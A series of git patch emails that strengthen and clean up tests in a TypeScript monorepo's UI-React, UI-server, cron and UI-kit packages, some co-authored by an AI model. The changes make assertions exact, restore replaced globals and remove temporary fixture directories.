From: Alain Schlesser Date: Tue, 10 Nov 2026 19:48:21 +0100 Subject: [PATCH 035/252] test(ui-react): tracker-store restores the window and document descriptors it replaces Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110183038-0543ec#14 --- packages/ui-react/tests/tracker-store.test.ts | 27 ++++++++++++------- 1 file changed, 17 insertions(+), 10 deletions(-) diff --git a/packages/ui-react/tests/tracker-store.test.ts b/packages/ui-react/tests/tracker-store.test.ts index 3ae853f9b5..ec47e8274a 100644 --- a/packages/ui-react/tests/tracker-store.test.ts +++ b/packages/ui-react/tests/tracker-store.test.ts @@ -65,6 +65,13 @@ const ids = (r: BrainUiRoot) => views(r).map((v) => v.sessionId); const state = (r: BrainUiRoot, sessionId: string) => views(r).find((v) => v.sessionId === sessionId)?.state; const settle = () => new Promise((resolve) => setTimeout(resolve, 0)); +/** Puts a stand-in global in place; the returned function restores its whole descriptor, or removes only what was absent. */ +function standIn(name: "window" | "document", value: unknown): () => void { + const original = Object.getOwnPropertyDescriptor(globalThis, name); + Object.defineProperty(globalThis, name, { configurable: true, writable: true, value }); + return () => { if (original) Object.defineProperty(globalThis, name, original); else Reflect.deleteProperty(globalThis, name); }; +} + /** Session A in view and running its turn. */ function runningIn(r: BrainUiRoot, sessionId: string, turnId = "turn-1") { const chat = r.stores.chat.getState(); @@ -104,7 +111,7 @@ describe("creating a tracker", () => { test("leaving the page tracks the session in view, so a reload finds it", () => { // The unit runtime has no DOM: a bare event target stands in for the window. const page = new EventTarget(); - (globalThis as { window?: unknown }).window = page; + const restore = standIn("window", page); try { const storage = memoryStorage(); const r = root({ storage, storagePrefix: "ithaca" }); @@ -116,7 +123,7 @@ describe("creating a tracker", () => { expect(r.stores.chat.getState().activeSessionId).toBe(A); expect(ids(root({ storage, storagePrefix: "ithaca" }))).toEqual([A]); } finally { - delete (globalThis as { window?: unknown }).window; + restore(); } }); @@ -418,7 +425,7 @@ describe("creating a tracker", () => { test("work starting in the session in view while the document is hidden is unwatched", () => { const doc = Object.assign(new EventTarget(), { visibilityState: "visible" }); - (globalThis as { document?: unknown }).document = doc; + const restore = standIn("document", doc); try { const r = root(); hello(r, false); @@ -429,7 +436,7 @@ describe("creating a tracker", () => { frame(r, { type: "session_info", sessionId: A, isNew: false, turnId: "turn-1", requestId: "req-other-device" }); expect(views(r).map((v) => [v.sessionId, v.state])).toEqual([[A, "running"]]); } finally { - delete (globalThis as { document?: unknown }).document; + restore(); } }); @@ -499,7 +506,7 @@ describe("the seen observer's conditions", () => { test("only Chat, visible, uncovered and at the end of the linked turn sees it", () => { let modal = false; const doc = Object.assign(new EventTarget(), { visibilityState: "visible", querySelector: (selector: string) => (modal && selector === '[aria-modal="true"]' ? {} : null) }); - (globalThis as { document?: unknown }).document = doc; + const restore = standIn("document", doc); try { const r = root(); hello(r, false); @@ -533,7 +540,7 @@ describe("the seen observer's conditions", () => { expect(observeTrackerSeen(r, bottom, false)).toBe(true); expect(views(r)[0]!.cleared).toBe(true); } finally { - delete (globalThis as { document?: unknown }).document; + restore(); } }); }); @@ -541,7 +548,7 @@ describe("the seen observer's conditions", () => { describe("reopening a running session (#3406)", () => { test("the live frames' turn on an answer still being written is not seen until the turn ends", () => { const doc = Object.assign(new EventTarget(), { visibilityState: "visible", querySelector: () => null }); - (globalThis as { document?: unknown }).document = doc; + const restore = standIn("document", doc); try { const r = root(); hello(r, false); @@ -562,7 +569,7 @@ describe("reopening a running session (#3406)", () => { expect(observeTrackerSeen(r, bottom, false), "the ended turn at the bottom").toBe(true); expect(views(r)[0]!.cleared).toBe(true); } finally { - delete (globalThis as { document?: unknown }).document; + restore(); } }); }); @@ -777,7 +784,7 @@ describe("persistence", () => { test("a storage event from another tab reads the trackers it brought", async () => { const page = new EventTarget(); - (globalThis as { window?: unknown }).window = page; + const restore = standIn("window", page); try { const storage = memoryStorage(); const host: Host = { envelopes: new Map([[A, () => envelope(A, 2, { requestId: "req-2", turnId: "turn-2", state: "terminal", outcome: "success", startedAt: 1, endedAt: 2 })]]), urls: [] }; @@ -789,7 +796,7 @@ describe("persistence", () => { expect(host.urls).toEqual([`/api/sessions/${A}/recovery`]); expect(views(here)[0]).toMatchObject({ state: "done", settled: true }); } finally { - delete (globalThis as { window?: unknown }).window; + restore(); } }); From 5646fd589b6593731f0072d7b32bfdf5e2c96342 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 19:50:26 +0100 Subject: [PATCH 036/252] test(ui-backend-claude): require the approved pass-through when a project update confirms archiving Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110180830-ff27e0#4 --- packages/ui-backend-claude/tests/confirm-archive.test.ts | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/packages/ui-backend-claude/tests/confirm-archive.test.ts b/packages/ui-backend-claude/tests/confirm-archive.test.ts index d05228b32f..c0bbb4dbea 100644 --- a/packages/ui-backend-claude/tests/confirm-archive.test.ts +++ b/packages/ui-backend-claude/tests/confirm-archive.test.ts @@ -306,7 +306,7 @@ test("a non-hosted project update still confirms archiving", async () => { const { output, permissionCalls } = await preToolUse("mcp__brain__brain_update", { path: "notes/raft.md", status: "archived" }); expect(permissionCalls).toHaveLength(1); expect(permissionCalls[0]!.kind).toBe("command"); - expect(output).toBeDefined(); + expect(output).toEqual({ continue: true }); }); mockWorkerHostForSdkStream(); From 6866f03cfc14e0d128235a4290d35fa8d006d07c Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 18:38:26 +0100 Subject: [PATCH 037/252] test(ui-server): index the brain-client corpus once and pin its read results Test-Health: th-20261110163814-571eb3#0 --- packages/ui-server/tests/brain-client.test.ts | 34 +++++++++++++------ 1 file changed, 23 insertions(+), 11 deletions(-) diff --git a/packages/ui-server/tests/brain-client.test.ts b/packages/ui-server/tests/brain-client.test.ts index c78eec1192..232ba8fa55 100644 --- a/packages/ui-server/tests/brain-client.test.ts +++ b/packages/ui-server/tests/brain-client.test.ts @@ -1,4 +1,4 @@ -import { afterEach, beforeEach, describe, test, expect } from "bun:test"; +import { afterAll, afterEach, beforeAll, beforeEach, describe, test, expect } from "bun:test"; import { statSync, chmodSync, @@ -346,8 +346,13 @@ describe("brain CLI client over the keyless Odysseus corpus", () => { let brainRead: ReturnType["read"]; let brainValidate: ReturnType["validate"]; - beforeEach(async () => { - const root = temporaryBrain(); + // Every case below only reads, so one indexed copy of the corpus serves + // them all; the per-test afterEach must not remove it. + let root: string; + afterAll(() => { rmSync(root, { recursive: true, force: true }); }); + + beforeAll(async () => { + root = mkdtempSync(join(tmpdir(), "brain-client-test-")); cpSync(resolve(import.meta.dir, "../../core/fixtures/corpus"), root, { recursive: true }); mkdirSync(join(root, "node_modules"), { recursive: true }); symlinkSync(resolve(import.meta.dir, "../../../node_modules/@schlessera"), join(root, "node_modules/@schlessera")); @@ -362,6 +367,10 @@ describe("brain CLI client over the keyless Odysseus corpus", () => { `); const indexed = await runCli(root, ["index", "--json"]); expect(indexed.code, indexed.stderr).toBe(0); + }); + + // The native fixture behind each client is released after every test. + beforeEach(() => { const client = createBrainClient({ brainPath: root }); brainSearch = client.search; brainBriefing = client.briefing; @@ -390,7 +399,7 @@ describe("brain CLI client over the keyless Odysseus corpus", () => { test("respects limit option", async () => { const { results } = await brainSearch("identity", { limit: 2 }); - expect(results.length).toBeLessThanOrEqual(2); + expect(results).toHaveLength(2); }); test("respects type filter", async () => { @@ -425,7 +434,7 @@ describe("brain CLI client over the keyless Odysseus corpus", () => { test("returns status breakdown", async () => { const stats = await brainStats(); - expect(stats.byStatus).toBeDefined(); + expect(stats.byStatus.active).toBeGreaterThan(0); }); test("includes expected types", async () => { @@ -438,8 +447,7 @@ describe("brain CLI client over the keyless Odysseus corpus", () => { describe("brainBriefing", () => { test("returns non-empty string", async () => { const content = await brainBriefing(); - expect(typeof content).toBe("string"); - expect(content.length).toBeGreaterThan(0); + expect(content).toContain("## Current Focus"); }); }); @@ -468,15 +476,14 @@ describe("brain CLI client over the keyless Odysseus corpus", () => { test("respects limit", async () => { const results = await brainList({ limit: 2 }); - expect(results.length).toBeLessThanOrEqual(2); + expect(results).toHaveLength(2); }); }); describe("brainRead", () => { test("reads a known document", async () => { const content = await brainRead("me/identity.md"); - expect(typeof content).toBe("string"); - expect(content.length).toBeGreaterThan(0); + expect(content).toContain('title: "Odysseus - Identity"'); }); test("throws for nonexistent path", async () => { @@ -487,7 +494,12 @@ describe("brain CLI client over the keyless Odysseus corpus", () => { describe("brainValidate", () => { test("returns validation output", async () => { const output = await brainValidate(); - expect(typeof output).toBe("string"); + expect(JSON.parse(output)).toMatchObject({ + ok: true, + issues: expect.arrayContaining([ + expect.objectContaining({ file: "context/current-focus.md", message: "Unresolved wiki-link: [[does-not-exist]]" }), + ]), + }); }); }); }); From 4133c0be8c4967559e1ac3c77ede458adedeb4cf Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 19:03:45 +0100 Subject: [PATCH 038/252] test(ui-server): pin each speech selection's own refusal Test-Health: th-20261110163814-571eb3#3 --- packages/ui-server/tests/external-speech.test.ts | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/packages/ui-server/tests/external-speech.test.ts b/packages/ui-server/tests/external-speech.test.ts index 43a968d3e7..cdbb7e07f8 100644 --- a/packages/ui-server/tests/external-speech.test.ts +++ b/packages/ui-server/tests/external-speech.test.ts @@ -68,7 +68,6 @@ test("supported keyterms reach the supplied provider and false capabilities skip try { mkdirSync(t.app.config.voice.cacheDir, { recursive: true }); const terms = ["Ithaca", "Odysseus"]; - expect(terms.length).toBeGreaterThan(0); writeFileSync(join(t.app.config.voice.cacheDir, "keyterms.json"), JSON.stringify({ version: 2, generatedAt: Date.now(), keyterms: terms, count: terms.length, overrides: [] })); const response = await t.fetch("/api/voice/session", { method: "POST" }); expect(response.status).toBe(200); @@ -88,6 +87,11 @@ test("a provider failure stays a session error even when a built-in key is confi }); test("selection without an external value preserves opt-in browser speech and fails closed otherwise", async () => { + const refusals: Record = { + "": "No speech provider configured.", + deepgram: "VOICE_PROVIDER=deepgram but DEEPGRAM_API_KEY is not set.", + unknown: 'Unknown VOICE_PROVIDER="unknown"', + }; for (const selection of ["", "deepgram", "unknown", "webspeech"]) { const t = await httpContractApp({ env: { VOICE_PROVIDER: selection, DEEPGRAM_API_KEY: "" } }); try { @@ -99,7 +103,7 @@ test("selection without an external value preserves opt-in browser speech and fa } else { expect(response.status).toBe(500); expect(Object.keys(body)).toEqual(["error"]); - expect(body.error).toMatch(/No speech provider configured|DEEPGRAM_API_KEY is not set|Unknown VOICE_PROVIDER/); + expect(body.error).toStartWith(refusals[selection]!); } } finally { await t.close(); } } From e03df036136e96be1918fd512e88f37bb140697e Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 19:11:08 +0100 Subject: [PATCH 039/252] test(ui-server): print the frames when a cancellation journal receipt is missing Test-Health: th-20261110163814-571eb3#6 --- packages/ui-server/tests/claude-cancellation.test.ts | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/packages/ui-server/tests/claude-cancellation.test.ts b/packages/ui-server/tests/claude-cancellation.test.ts index 4ab53b6f20..e24272d1cb 100644 --- a/packages/ui-server/tests/claude-cancellation.test.ts +++ b/packages/ui-server/tests/claude-cancellation.test.ts @@ -129,7 +129,8 @@ for (const mode of ["success-before-cancel", "error-before-cancel", "no-result", expect(host.activity!.store.snapshotRun(result.turnId!)!.spans.find(span => span.kind === "turn")?.outcome, "ACTIVITY_MATCHES_WIRE").toBe(expected); const journal = host.journal!.details(SESSION, result.turnId!); expect(journal?.summary.state, "FINAL_JOURNAL_RETAINED").toBe("complete"); - expect(frames.some(frame => frame.type === "turn_journal" && frame.turnId === result.turnId && frame.journal.state === "complete"), "FINAL_JOURNAL_RECEIPT_SCOPED_TO_CANCELLED_TURN").toBe(true); + expect(frames, "FINAL_JOURNAL_RECEIPT_SCOPED_TO_CANCELLED_TURN").toContainEqual(expect.objectContaining({ + type: "turn_journal", turnId: result.turnId, journal: expect.objectContaining({ state: "complete" }) })); expect(order.indexOf("worker-exited-and-state-persisted")).toBeLessThan(order.indexOf(`result:${expected}`)); } finally { await app?.close(); restoreRouteInputs(); rmSync(root, { recursive: true, force: true }); } }, 30_000); From becb1edc973827d3e3c99471d110e2a21309e4f4 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 19:19:00 +0100 Subject: [PATCH 040/252] test(ui-server): pin application receipts and stale refusals, and print leftover staging files Test-Health: th-20261110163814-571eb3#9 --- packages/ui-server/tests/application-index-timing.test.ts | 1 + packages/ui-server/tests/brain-application-adapters.test.ts | 2 +- packages/ui-server/tests/brain-application.test.ts | 6 +++--- 3 files changed, 5 insertions(+), 4 deletions(-) diff --git a/packages/ui-server/tests/application-index-timing.test.ts b/packages/ui-server/tests/application-index-timing.test.ts index 59724270dd..622d588c03 100644 --- a/packages/ui-server/tests/application-index-timing.test.ts +++ b/packages/ui-server/tests/application-index-timing.test.ts @@ -46,6 +46,7 @@ test("twenty writes return without waiting for the index; one targeted update co } expect(median(elapsed), `APPLY_MEDIAN_MS ${JSON.stringify(elapsed.map(ms => Math.round(ms)))}`).toBeLessThan(300); expect(runs).toEqual([]); + expect(receipts).toHaveLength(paths.length); for (const result of receipts) { expect(result).toMatchObject({ ok: true, indexed: false, indexStatus: "pending" }); expect(result).not.toHaveProperty("outcome.indexError"); diff --git a/packages/ui-server/tests/brain-application-adapters.test.ts b/packages/ui-server/tests/brain-application-adapters.test.ts index 7adb918803..8a988cbb8d 100644 --- a/packages/ui-server/tests/brain-application-adapters.test.ts +++ b/packages/ui-server/tests/brain-application-adapters.test.ts @@ -246,7 +246,7 @@ for (const kind of ["claude", "pi"] as const) { const edit = await a.call("edit_file", { path, expectedBaseHash: hashOnly.expectedBaseHash, old_string: "Day 3:", new_string: "Day three:" }); expect(edit.ok).toBe(true); const stale = await a.call("edit_file", { path, expectedBaseHash: hashOnly.expectedBaseHash, old_string: "Day 4:", new_string: "Day four:" }); - expect(stale.ok).toBe(false); + expect(stale).toMatchObject({ ok: false, code: "stale_base" }); expect(readFileSync(join(root, path), "utf8")).toBe(whole.replace("Day 3:", "Day three:")); }); } diff --git a/packages/ui-server/tests/brain-application.test.ts b/packages/ui-server/tests/brain-application.test.ts index b4b8f1e442..e4ce4dbc4e 100644 --- a/packages/ui-server/tests/brain-application.test.ts +++ b/packages/ui-server/tests/brain-application.test.ts @@ -87,7 +87,7 @@ describe("server-owned application boundary", () => { beforeCommit = () => { renameSync(join(root, "notes"), join(root, "old-notes")); symlinkSync(join(root, "context/policies"), join(root, "notes")); }; await denied(write(), "topology_changed"); expect(readFileSync(join(root, "old-notes/raft.md"), "utf8")).toBe(raw); - expect(readdirSync(join(root, "old-notes")).some(name => name.startsWith(".brain-apply"))).toBe(false); + expect(readdirSync(join(root, "old-notes")).filter(name => name.startsWith(".brain-apply"))).toEqual([]); }); test("payload over the bound refuses", async () => { await denied(write(path, "x".repeat(BRAIN_APPLICATION_MAX_BYTES)), "payload_too_large"); @@ -211,7 +211,7 @@ describe("server-owned application boundary", () => { expect(result.ok).toBe(false); expect(result.message).toMatch(/EFBIG|File too large/i); expect(result.changes).toEqual([]); expect(recorded).toEqual([result]); expect(readFileSync(join(root, path), "utf8")).toBe(raw); - expect(readdirSync(join(root, "notes")).some(name => name.startsWith(".brain-apply"))).toBe(false); + expect(readdirSync(join(root, "notes")).filter(name => name.startsWith(".brain-apply"))).toEqual([]); }); test("applications preserve existing document modes including archive moves", async () => { chmodSync(join(root, path), 0o640); @@ -255,7 +255,7 @@ describe("server-owned application boundary", () => { beforeCommit = () => signal.abort(); await denied(write(), "cancelled"); expect(readFileSync(join(root, path), "utf8")).toBe(raw); - expect(readdirSync(join(root, "notes")).some(name => name.startsWith(".brain-apply"))).toBe(false); + expect(readdirSync(join(root, "notes")).filter(name => name.startsWith(".brain-apply"))).toEqual([]); }); test("cancellation after commit records the complete Markdown effect", async () => { beforeCommit = () => queueMicrotask(() => signal.abort()); From 12cd3d96efd0a93bfe2b9abdb3659ac471320520 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 19:31:40 +0100 Subject: [PATCH 041/252] test(ui-server): remove the span-sink fixture directories after each case Test-Health: th-20261110163814-571eb3#12 --- packages/ui-server/tests/cron-activity.test.ts | 13 ++++++++++--- 1 file changed, 10 insertions(+), 3 deletions(-) diff --git a/packages/ui-server/tests/cron-activity.test.ts b/packages/ui-server/tests/cron-activity.test.ts index c284e77207..034070aeef 100644 --- a/packages/ui-server/tests/cron-activity.test.ts +++ b/packages/ui-server/tests/cron-activity.test.ts @@ -3,8 +3,8 @@ * (AE7 — fixture-verified until core grows an agent loop), and the closed * cron-status name gap. */ -import { describe, expect, test } from "bun:test"; -import { mkdtempSync, writeFileSync, appendFileSync } from "fs"; +import { afterEach, describe, expect, test } from "bun:test"; +import { mkdtempSync, rmSync, writeFileSync, appendFileSync } from "fs"; import { join } from "path"; import { tmpdir } from "os"; @@ -14,8 +14,15 @@ import { createUiDb } from "../src/db/client"; import { createCronScheduler, recordCronRun } from "../src/cron/scheduler"; import { createBrainClient } from "../src/brain/client"; +const sinkDirs: string[] = []; +afterEach(() => { + for (const dir of sinkDirs.splice(0)) rmSync(dir, { recursive: true, force: true }); +}); + function sinkDir(): string { - return mkdtempSync(join(tmpdir(), "span-sink-")); + const dir = mkdtempSync(join(tmpdir(), "span-sink-")); + sinkDirs.push(dir); + return dir; } describe("span-sink ingest (AE7)", () => { From ecf45e0f6eec2c8ec27165cae2cfe9967c5f688f Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 19:48:12 +0100 Subject: [PATCH 042/252] test(ui-server): pin the trusted cron job set and print the values cron checks compare Test-Health: th-20261110163814-571eb3#15 --- packages/ui-server/tests/cron-emit.test.ts | 8 ++++---- packages/ui-server/tests/cron-module-discovery.test.ts | 4 ++-- packages/ui-server/tests/cron-run-job.test.ts | 10 ++++++---- 3 files changed, 12 insertions(+), 10 deletions(-) diff --git a/packages/ui-server/tests/cron-emit.test.ts b/packages/ui-server/tests/cron-emit.test.ts index bff920c5c0..81ddc72cbe 100644 --- a/packages/ui-server/tests/cron-emit.test.ts +++ b/packages/ui-server/tests/cron-emit.test.ts @@ -108,7 +108,7 @@ describe("emitCrontab", () => { const output = render(jsonFixture("empty.json")); expect(output).not.toContain("module list unavailable"); expect(output).not.toContain("scripts/jobs/scrape-all.ts"); - expect(output.endsWith("when exposed)\n\n")).toBe(true); + expect(output).toEndWith("when exposed)\n\n"); }); test("keeps the standalone scraper fallback when no enabled module exposes jobs", () => { @@ -209,7 +209,7 @@ describe("the weekly hygiene job", () => { }); test("is never a trusted job, so it cannot run unwrapped (#81)", () => { - expect(TRUSTED_JOB_NAMES.has("hygiene")).toBe(false); + expect([...TRUSTED_JOB_NAMES]).not.toContain("hygiene"); }); test("BRAIN_UI_CRON_HYGIENE turns it off with a false token, and it is on otherwise", () => { @@ -229,7 +229,7 @@ describe("the separate propagation prepass", () => { const output = render(jsonFixture("empty.json"), { propagation: true }); expect(output).toContain("45 5 * * * root cd / && bun /opt/brain-ui/server/scripts/cron-run.ts hygiene-propagation -- brain hygiene propagation --json"); expect(output).toContain(" hygiene -- brain hygiene reconcile"); - expect(TRUSTED_JOB_NAMES.has("hygiene-propagation")).toBe(false); + expect([...TRUSTED_JOB_NAMES]).not.toContain("hygiene-propagation"); }); }); @@ -247,7 +247,7 @@ describe("emitEnvironment", () => { [...CRON_ENV_ORDER, "NODE_ENV"].sort() ); expect(SUBPROCESS_ENV.NODE_ENV).toContain("cron"); - expect(CRON_ENV_EXCLUSIONS.has("NODE_ENV")).toBe(true); + expect([...CRON_ENV_EXCLUSIONS]).toContain("NODE_ENV"); expect(CRON_ENV_NAMES).not.toContain("NODE_ENV"); }); diff --git a/packages/ui-server/tests/cron-module-discovery.test.ts b/packages/ui-server/tests/cron-module-discovery.test.ts index a6afb0b2a4..8eeaf2abfa 100644 --- a/packages/ui-server/tests/cron-module-discovery.test.ts +++ b/packages/ui-server/tests/cron-module-discovery.test.ts @@ -93,7 +93,7 @@ describe("discoverModules", () => { expect(outcome).toEqual({ modules: null, attempts: 3, cause }); expect(lines.at(-1), "CRON_DISCOVERY_FAILURE_NAMES_CAUSE").toBe( `module discovery unavailable; emitting core jobs only (module cron skipped after 3 attempts). ${cause}`); - expect(lines.every(line => !line.includes("\n"))).toBe(true); + expect(lines.filter(line => line.includes("\n"))).toEqual([]); expect(crontab(outcome.modules)).toContain(`${SKIPPED_COMMENT}\n`); }); @@ -126,7 +126,7 @@ describe("readModuleList causes", () => { const attempt = await readModuleList({}, scriptedBoundary([{ stdout: "", stderr: `${"x".repeat(2_000)}END`, exitCode: 1 }])); expect(attempt.modules).toBeNull(); const cause = (attempt as { cause: string }).cause; - expect(cause.endsWith("xxEND")).toBe(true); + expect(cause).toEndWith("xxEND"); expect(cause.length).toBeLessThan(600); }); }); diff --git a/packages/ui-server/tests/cron-run-job.test.ts b/packages/ui-server/tests/cron-run-job.test.ts index a52579371b..20d4882cc9 100644 --- a/packages/ui-server/tests/cron-run-job.test.ts +++ b/packages/ui-server/tests/cron-run-job.test.ts @@ -123,7 +123,7 @@ describe("cron runJob", () => { expect(exitCode).toBe(23); expect(stdout.read()).toBe("job stdout\n"); expect(stderr.read()).toContain("[cron-run] tracking unavailable (job runs anyway):"); - expect(stderr.read().endsWith("job stderr\n")).toBe(true); + expect(stderr.read()).toEndWith("job stderr\n"); }); test("tees both streams verbatim and exports the span sink to the argv child", async () => { @@ -215,7 +215,7 @@ describe("cron runJob", () => { expect(recorded?.error).toBe(`exit code 9; stderr tail: ${stderrTail}`); expect(recorded?.error).not.toContain("stderr-head:"); expect(recorded?.output).toHaveLength(WIRE_OUTPUT_TAIL_CHARS); - expect(recorded?.output?.endsWith(":stderr-tail")).toBe(true); + expect(recorded?.output).toEndWith(":stderr-tail"); expect(recorded?.output).not.toContain("stderr-head:"); }); @@ -372,7 +372,7 @@ describe("a failed brain maintain cron run", () => { const db = createUiDb(dbPath); const row = db.query("SELECT error_message FROM cron_runs WHERE job_name = 'maintain'").get() as { error_message: string } | null; db.close(); - expect(row?.error_message.startsWith("exit code 2; stderr tail: ")).toBe(true); + expect(row?.error_message).toStartWith("exit code 2; stderr tail: "); expect(row?.error_message, "CRON_RECORD_DROPPED_NOISE_HEAD").not.toContain("provider unavailable (0)"); expect(row?.error_message, "CRON_RECORD_NAMES_FAILED_STEP").toContain("brain maintain: FAILED step(s): git (fatal: bad boolean config value"); } finally { @@ -585,7 +585,9 @@ describe("cron runs jobs through the exec wrapper", () => { test("no trusted job name can be a namespaced module job", () => { // Module jobs are always `-`, so a trusted name with a `-` // is the one way the namespacing alone would stop protecting it. - for (const name of TRUSTED_JOB_NAMES) expect(name).not.toContain("-"); + // The digest is trusted (see above), so the set is never empty here. + expect([...TRUSTED_JOB_NAMES]).toContain("digest"); + expect([...TRUSTED_JOB_NAMES].filter(name => name.includes("-"))).toEqual([]); }); }); From db8e7fa4fc0b19988a2680f8631b71a46de9ed5a Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 19:53:25 +0100 Subject: [PATCH 043/252] test(ui-react): session-demux leaves the default chat store reset Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110183038-0543ec#30 --- packages/ui-react/tests/session-demux.test.ts | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/packages/ui-react/tests/session-demux.test.ts b/packages/ui-react/tests/session-demux.test.ts index 2eb10dd0e3..2558893b67 100644 --- a/packages/ui-react/tests/session-demux.test.ts +++ b/packages/ui-react/tests/session-demux.test.ts @@ -1,4 +1,4 @@ -import { describe, test, expect, beforeEach } from "bun:test"; +import { afterAll, describe, test, expect, beforeEach } from "bun:test"; import type { ServerMessage } from "@schlessera/brain-ui-sdk/protocol"; import { useChatStore, activeChat } from "../src/stores/chat-store"; import { runStateForFrame } from "../src/hooks/use-websocket"; @@ -32,6 +32,9 @@ describe("runStateForFrame", () => { describe("session demux (handleServerMessage)", () => { beforeEach(reset); + // The default root outlives this file: leave no selected session or + // buffers behind for the next file in the process (#3720). + afterAll(reset); test("a pending draft binds only to its own announcement, never another session's result", () => { const store = useChatStore.getState(); From edd2028abd617da2bb70dc98248480372eb040b7 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 19:53:30 +0100 Subject: [PATCH 044/252] test(ui-react): share-intake restores globalThis.localStorage Co-Authored-By: Claude Opus 5.5 Test-Health: th-20261110183038-0543ec#36 --- packages/ui-react/tests/share-intake.test.ts | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/packages/ui-react/tests/share-intake.test.ts b/packages/ui-react/tests/share-intake.test.ts index ea28cde2d5..20e9cb2e36 100644 --- a/packages/ui-react/tests/share-intake.test.ts +++ b/packages/ui-react/tests/share-intake.test.ts @@ -1,4 +1,4 @@ -import { afterEach, beforeEach, describe, expect, test } from "bun:test"; +import { afterAll, afterEach, beforeEach, describe, expect, test } from "bun:test"; import { SHARE_MAX_INLINE_TEXT, type ShareIntakeResult, @@ -21,6 +21,11 @@ const CLAIM_KEY = "brain-share-claims"; // Bun's test runtime has no localStorage. The intake reads it lazily through a // guarded helper, so a Map-backed stand-in is enough to exercise the real code. const backing = new Map(); +const realLocalStorage = Object.getOwnPropertyDescriptor(globalThis, "localStorage"); +afterAll(() => { + if (realLocalStorage) Object.defineProperty(globalThis, "localStorage", realLocalStorage); + else Reflect.deleteProperty(globalThis, "localStorage"); +}); (globalThis as unknown as { localStorage: Storage }).localStorage = { getItem: (key: string) => backing.get(key) ?? null, setItem: (key: string, value: string) => void backing.set(key, String(value)), From 23dce7e035e5c9c0dabce2985a7e5560f4e94105 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Tue, 10 Nov 2026 19:53:56 +0100 Subject: [PATCH 045/252] test(ui-kit): rail, map and meter geometry run one theme per width; readable link-card log Test-Health: th-20261110180640-b26dac#3 --- .../ui-kit/tests/visual/link-card.visual.tsx | 2 +- .../ui-kit/tests/visual/map-labels.visual.tsx | 10 +++++--- .../tests/visual/meter-label.visual.tsx | 4 ++++ .../tests/visual/side-rail-targets.visual.tsx | 24 ++++++++++++++----- 4 files changed, 30 insertions(+), 10 deletions(-) diff --git a/packages/ui-kit/tests/visual/link-card.visual.tsx b/packages/ui-kit/tests/visual/link-card.visual.tsx index 5b24b2e3a5..2fd6bc3d00 100644 --- a/packages/ui-kit/tests/visual/link-card.visual.tsx +++ b/packages/ui-kit/tests/visual/link-card.visual.tsx @@ -120,6 +120,6 @@ describe("LinkPreviewCard link mode: the network", () => { await userEvent.click(el.querySelector("a")!); await settle(); const seen = await outbound(); - expect(seen.some((url) => url.includes(HOST))).toBe(true); + expect(seen.filter((url) => url.includes(HOST)), "the destination request is logged").not.toEqual([]); }); }); diff --git a/packages/ui-kit/tests/visual/map-labels.visual.tsx b/packages/ui-kit/tests/visual/map-labels.visual.tsx index 9f2f27f577..71acaf0b5d 100644 --- a/packages/ui-kit/tests/visual/map-labels.visual.tsx +++ b/packages/ui-kit/tests/visual/map-labels.visual.tsx @@ -27,7 +27,11 @@ function fullTextFits(el:HTMLElement, box:DOMRect) { while(walker.nextNode()) {if(!walker.currentNode.textContent?.trim())continue; const r=document.createRange();r.selectNodeContents(walker.currentNode);for(const b of r.getClientRects()){if(!b.width)continue;count++;expect(b.left).toBeGreaterThanOrEqual(box.left-0.5);expect(b.right).toBeLessThanOrEqual(box.right+0.5);expect(b.top).toBeGreaterThanOrEqual(box.top-0.5);expect(b.bottom).toBeLessThanOrEqual(box.bottom+0.5);}} expect(count).toBeGreaterThan(0); } +// Storybook owns light and dark parity (docs/process/theme-parity.md); label +// placement never reads a colour, so each width runs in one theme, alternating. +const widthTheme=(width:number)=>[238,390].includes(width)?'dark':'light'; for(const theme of ['dark','light']) for(const width of [238,320,390,720]) { + if(widthTheme(width)!==theme) continue; test(`cave names remain inside viewport ${theme} ${width}`,async()=>{ const view=await mount(width,theme,gozoMap);const names=labels(view);expect(names.length).toBeGreaterThan(0);expect(view.textContent).toContain('Ramla Bay'); for(const label of names)fullTextFits(label,view.getBoundingClientRect()); @@ -56,14 +60,14 @@ for(const theme of ['dark','light']) for(const width of [238,320,390,720]) { } for (const theme of ["dark", "light"]) { - test(`unlabelled marker does not misaddress following callout ${theme}`,async()=>{ + if (theme === "dark") test(`unlabelled marker does not misaddress following callout ${theme}`,async()=>{ const view=await mount(390,theme,{pins:[{lat:38.25,lon:15.72},{lat:38.26,lon:15.65,label:"Charybdis"}],spanKm:9}); const named=labels(view);expect(named).toHaveLength(1);expect(named[0]!.textContent).toBe("Charybdis");fullTextFits(named[0]!,view.getBoundingClientRect()); const tether=view.querySelector('[data-map-tether]')!;expect(tether).not.toBeNull(); const dot=[...view.querySelectorAll('[data-map-dot]')][1]!;const b=dot.getBoundingClientRect();const box=view.getBoundingClientRect(); expect(Number(tether.getAttribute('x1'))).toBeCloseTo(b.left+b.width/2-box.left,1); }); - test(`resize and changed content recompute full callouts ${theme}`,async()=>{ + if (theme === "light") test(`resize and changed content recompute full callouts ${theme}`,async()=>{ const view=await mount(390,theme,gozoMap); host!.style.width="240px"; await expect.poll(()=>view.querySelector('svg')!.viewBox.baseVal.width).toBe(238); @@ -73,7 +77,7 @@ for (const theme of ["dark", "light"]) { }); } -for (const theme of ["dark", "light"]) test(`adding the coordinate chip replans labels 